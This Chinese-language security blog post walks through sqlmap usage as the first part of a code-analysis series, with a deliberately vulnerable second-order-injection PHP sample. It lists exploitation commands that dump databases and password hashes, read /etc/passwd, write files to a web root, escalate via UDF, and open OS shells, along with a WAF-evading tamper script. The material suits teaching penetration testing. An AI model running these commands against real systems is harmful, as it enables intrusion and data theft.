sqlmap 项目剖析(I)

阅读量1732420

|

发布时间 : 2021-12-17 10:30:25

 

0x00 TL;DR

sqlmap 是一款开源的自动化 SQL 注入测试及漏洞利用工具,有着十余年的开发历史(当然这也造就了一些问题),这款工具最强大的地方在于它对数据库种类以及注入类型的支持堪称史诗级,可以这么说,任何一个注入都可以用 sqlmap 进行测试和利用。

本系列文章将对 sqlmap 项目进行分析,首先会从使用层面简单了解 sqlmap 所支持的大部分功能,后续则通过代码分析的方式展开讲解项目逻辑。如无特殊说明,则默认调试环境为 python3 + sqlmap 1.5.11.9#dev。

 

0x01 选取目标

在进行注入前需要选取测试的目标,sqlmap 支持多种目标选取方式,下面逐一介绍,通常情况下使用的最多的是 -u-r 两个参数。

  1. 指定 url 作为目标输入
    $ python sqlmap.py -u http://sql-injection.com/index.php?id=1
    

    如果需要注入的参数不在 URL 中,还可通过 --data 参数指定POST数据:

    $ python sqlmap.py -u http://sql-injection.com/login --data='username=admin&password=admin'
    
  2. 指定 request 文件作为目标输入
    // req.txt
    
    GET /?str=1 HTTP/1.1
    Host: 8.218.140.54:12321
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    $ python sqlmap.py -r req.txt
    
  3. 指定 url 文本作为目标输入
    // m.txt
    
    http://localhost:8887/Less-1?id=1
    http://localhost:8887/Less-2?id=1
    
    $ python sqlmap.py -m m.txt
    
  4. 指定 Google Dork 作为目标输入
    $ python sqlmap.py -g inurl:index.php?id=1
    
  5. 指定数据库连接字符串作为目标输入
    $ python sqlmap.py -d mysql://<username>:<password>@<host>:<port>/<database> --sql-shell
    
  6. 指定 burp log 作为目标输入
    1. 首先开启 burpsuite 的请求日志记录功能

    1. 后续在抓包时相关的包会被保存到对应的日志文件里

    1. 此时结合 sqlmap 的 -l 参数即可对此日志中的数据包进行自动化注入测试
      $ python sqlmap.py -l burp.log
      
  7. 使用 sqlmap 自带爬虫爬取目标页面
    $ python sqlmap.py -u "http://baidu.com/" --crawl=1
    
  8. 使用 sqlmap 自带的表单解析功能获取目标表单
    $ python sqlmap.py -u "http://baidu.com/" --forms
    
  9. 使用 sqlmap 扫描配置文件作为目标
    $ python sqlmap.py -c sqlmap-scan.ini
    

 

0x02 二次注入

sqlmap 同样支持二次注入场景下的测试与利用,这个功能主要是依赖于 --second-* 参数进行实现。

本地模拟了一个二次注入的环境,用于测试 sqlmap 二次注入的适配。

// first.php

<? php
include("../sql-connections/sql-connect.php");
error_reporting(0);


$referer = addslashes($_GET['referer']);

$sql = "replace into referers(id,referer,ip_address)values(1,'$referer','127.0.0.1');";

mysql_query($sql);

echo 'ok';
// second.php


<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);

$result=mysql_query('select referer from referers where id=1;');

$row = mysql_fetch_array($result);

if($row){
    var_dump($row);
    foreach ($row as $key => $value) {
        $result1 = mysql_query("select ip_address from referers where referer = '$value';");
        $row = mysql_fetch_array($result1);
        if($row){
            echo 'ok';
        }else{
            echo mysql_error();
        }
    }
}

上述代码如果直接对 first.php 进行注入是不可行的,因为有 addslashes 的限制,然而搭配 second.php 可进行二次注入,只需要在 sqlmap 中指定 second-url 即可。

 

0x03 辅助功能

3.0 请求相关

  1. 设置请求时的 UA
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -A 'Test-Java-Agent'
    
  2. 设置请求时的 Header
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -H 'X-Forwarded-For: 127.0.0.1'
    
  3. 设置请求时的方法(适用于 -u-m 等无法将完整数据包传入的场景)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1"  --method='POST'
    
  4. 设置请求时传递的数据(适用于 -u-m 等无法将完整数据包传入的场景)
    $ python sqlmap.py -u "http://127.0.0.1:8887/login" --data='username=123&password=xxoo'
    
  5. 设置请求时默认的参数间隔符(默认是 &
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1;qq=2" --param-del=';'
    
  6. 设置请求时的 cookie
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --cookie='sessionid=xxxx'
    
  7. 设置请求时默认的 cookie 间隔符(默认是;
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --cookie='sessionid=xxxx|username=admin' --cookie-del='|'
    
  8. 指定存放了存活 cookie 的文件(在每一次请求时都会访问此文件获取 cookie)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --live-cookies='/tmp/live-cookies'
    
  9. 忽略 response 中的 set-cookie
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --drop-set-cookie
    
  10. 使用随机 UA
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --random-agent
    
  11. 指定请求时的 Host
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --host='127.0.0.1'
    
  12. 指定请求时的 Referer
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --referer='http://127.0.0.1/'
    
  13. 指定多个请求时的 Header
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --headers="Accept-Language: fr\nETag: 123"
    
  14. 指定请求时的 auth 方式(当请求存在 auth 时使用)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --auth-type='Basic'
    
  15. 指定进行认证时使用的认证信息
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --auth-cred='admin:123456'
    
  16. 指定认证时使用的证书或私钥
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --auth-file='private-key'
    
  17. 忽略无效的 response status code
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --ignore-code=404
    
  18. 忽略系统代理
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --ignore-proxy
    
  19. 忽略 response 中的跳转(似乎存在问题)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --ignore-redirects
    
  20. 忽略请求超时
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --ignore-timeouts
    
  21. 设置请求所使用的代理
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --proxy='http://127.0.0.1:8080'
    
  22. 设置请求所使用代理的账号密码
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --proxy='http://127.0.0.1:8080' --proxy-cred='admin:123456'
    
  23. 设置存放了代理的文本
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --proxy-file='/tmp/proxies'
    
  24. 设置每个请求之间的间隔时间(秒)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --delay=5
    
  25. 设置请求超时时间
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --timeout=2
    
  26. 设置请求最大重试次数
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --retries=3
    
  27. 设置重试匹配正则(当页面内容匹配上时重新请求)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --retry-on='</font>'
    
  28. 设置不对 payload 进行 urlencode
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --skip-urlencode
    
  29. 设置使用分块传输数据
    $ python sqlmap.py -r req.txt --chunked
    
  30. 设置使用参数污染分离 payload(这里的 payload 有点奇怪,不是每个后端都能解析的,建议使用时通过 -v 4 自行观察 payload)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -hpp
    
  31. 设置请求线程数
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --threads=3
    

3.1 注入相关

  1. 设置需要注入的参数
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -p id
    
  2. 设置需要跳过注入的参数
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1&timestamp=1111" --skip=timestamp
    
  3. 设置注入时跳过静态参数的测试
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --skip-static
    
  4. 设置需要跳过注入的参数( 与--skip 的不同之处在于此处为正则匹配而非字符串相等的判断)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1&sessionId=123" --param-exclude='sess'
    
  5. 设置需要测试的数据库类型(当预先知道目标数据库时可使用此参数减少发包量)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --dbms='mysql'
    
  6. 设置关闭 cast 函数的使用(某些 MYSQL 版本需要使用)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --no-cast
    
  7. 设置关闭 char 函数的使用(减少 payload 长度)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --no-escape
    
  8. 设置启用 hex 编码(避免因编码原因导致注入时的数据丢失)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --hex
    
  9. 使用 tamper 修改 payload
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --tamper='uppercase'
    
  10. 设置注入请求级别(级别越高请求量越大)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --level=3
    
  11. 设置注入威胁级别(级别越高风险越大,会使用一些带 OR 的测试语句)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --risk=5
    
  12. 设置页面匹配的方式
    1. 设置匹配响应的字符串(当页面存在这个值时为真,用于布尔注入)
      $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --string='You are'
      
    2. 设置匹配响应的正则(当页面被这个正则匹配到时为真,用于布尔注入)
      $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --regexp='You are [a-z]{1,5}'
      
    3. 设置不匹配响应的字符串(当页面存在这个值时为假,用于布尔注入)
      $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --not-string='Failed'
      
  13. 设置使用状态码判断页面真假(当响应为此状态码时为真,优先级低于页面匹配)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --code=200
    
  14. 设置仅当启发式注入返回真时才继续接下来的注入测试
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --smart
    
  15. 设置要使用的注入测试技术(BEUSTQ,每个字母代表一种注入方式,B 代表 Boolean、T 代表 Time)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --technique=B
    
  16. 设置延迟注入默认的延迟时间
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --time-sec=2
    
  17. 设置二次注入的页面
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-new/first.php?referer=x" --second-url "http://localhost:8887/less-new/second.php"
    

3.2 通用功能

  1. 设置将所有 SQLMAP 发出的测试请求信息存储至文本中
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -t sqlmap-request.log
    
  2. 设置 SQLMAP 的默认答案
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --answers="quit=N,follow=N"
    
  3. 设置后续不再询问用户输入而是直接使用默认选项
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --batch
    
  4. 设置在进行注入测试前先检查自身网络环境
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --check-internet
    
  5. 设置爬虫模式下不爬取某些链接(比如不爬取退出链接)
    $ python sqlmap.py -u "http://baidu.com/" --crawl=1 --crawl-exclude='logout'
    
  6. 设置输出格式(CSV、HTML、SQLITE)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --dump-format='CSV'
    
  7. 设置将所有 SQLMAP 发出的测试请求信息存储至 HAR 文件中
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --har=sqlmap-request.har
    
  8. 设置默认的输出路径
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --output-dir='/tmp'
    
  9. 设置跳过启发性注入测试
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --skip-heuristics
    
  10. 设置跳过 WAF 探测
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --skip-waf
    
  11. 设置 target web 的绝对路径
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --web-root='/var/www/html'
    
  12. 将本次扫描的配置存储到文件中(后续可直接加载此文件进行注入测试)
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --save='sqlmap-scan.ini'
    

 

0x04 注入利用

  1. 读取目标数据库具体版本
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --banner
    
  2. 读取当前用户以及当前数据库
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --current-db --current-user
    
  3. 读取所有数据库
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --dbs
    
  4. 读取某个数据库的所有表
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -D db_name --tables
    
  5. 读取某个表的所有列
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -D db_name -T table_name --columns
    
  6. 读取某个列的所有数据
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -D db_name -T table_name -C col_name --dump
    
  7. 读取某个表的数据量
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" -D db_name -T table_name --count
    
  8. 读取数据库的所有用户
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --users
    
  9. 读取数据库内所有用户的密码信息
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --passwords
    
  10. 读取目标主机名
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --hostname
    
  11. 搜寻数据库、表、列
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --search -T user
    
  12. 读取目标系统中的文件
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --file-read='/etc/passwd'
    
  13. 写入文件到目标系统中
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --file-write "/tmp/local-file.php" --file-dest "/var/www/html/remote-file.php"
    
  14. UDF提权
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --udf-inject --shared-lib='/tmp/xxx.dll'
    
  15. 执行系统命令
    $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --os-cmd='id'
    
  16. 获取目标 shell
    1. 获取系统 shell
      $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --os-shell
      
    2. 获取 sql shell
      $ python sqlmap.py -u "http://127.0.0.1:8887/Less-1/Less-1?id=1" --sql-shell
      
  17. 操作 Windows 注册表
    --reg-read          设置后续将读取 windows 注册表
    --reg-add           添加 key:value 到 windows 注册表
    --reg-del           删除 key:value 到 windows 注册表
    --reg-key=REGKEY    指定要操作的 windows 注册表 key
    --reg-value=REGVAL  指定要操作的 windows 注册表 value
    --reg-data=REGDATA  设置 value 对应的 data
    --reg-type=REGTYPE  设置 data 对应的 type(如DWORD)
    

 

0x05 tampers

sqlmap 中存在一组名为 tamper 的脚本,这些脚本存放在 tamper 目录下,用于在进行注入测试时动态修改内置的 payload:

使用 python sqlmap.py --list-tampers 可以查看每一个 tamper 的具体作用以及它们所支持的数据库类型:

使用 python sqlmap.py --tamper=<tamper-name> 可以指定注入时使用的 tamper,多个 tamper 可通过逗号分隔。

下面以 randomcase 为例讲解 tamper 在注入时的具体作用,其源码如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.common import randomRange
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
        * SQLite 3

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'InSeRt'
    >>> tamper('f()')
    'f()'
    >>> tamper('function()')
    'FuNcTiOn()'
    >>> tamper('SELECT id FROM `user`')
    'SeLeCt id FrOm `user`'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
            word = match.group()

            if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
                while True:
                    _ = ""

                    for i in xrange(len(word)):
                        _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                    if len(_) > 1 and _ not in (_.lower(), _.upper()):
                        break

                retVal = retVal.replace(word, _)

    return retVal

从注释中其实也可以看出它的作用了,就是将 payload 的大小写进行随机化从而绕过 waf 的检测,sqlmap 在将 payload 封装到参数前会调用所有的 tamper 对 payload 进行一个预处理,tamper 相当于 payload 的一个装饰器,最终发送出去的是被 tamper 处理过的 payload。

从上述代码可以看出编写一个 tamper 是十分简单的,只需要编写一个 tamper 函数,按上述格式写处理代码,最终将处理完毕的 payload 返还即可,在封装的代码中可以调用 sqlmap 内置的一些全局变量如 kb 等,这种方式赋予了 tamper 极大的灵活性。

本文由tlmn原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/262848

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
tlmn
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66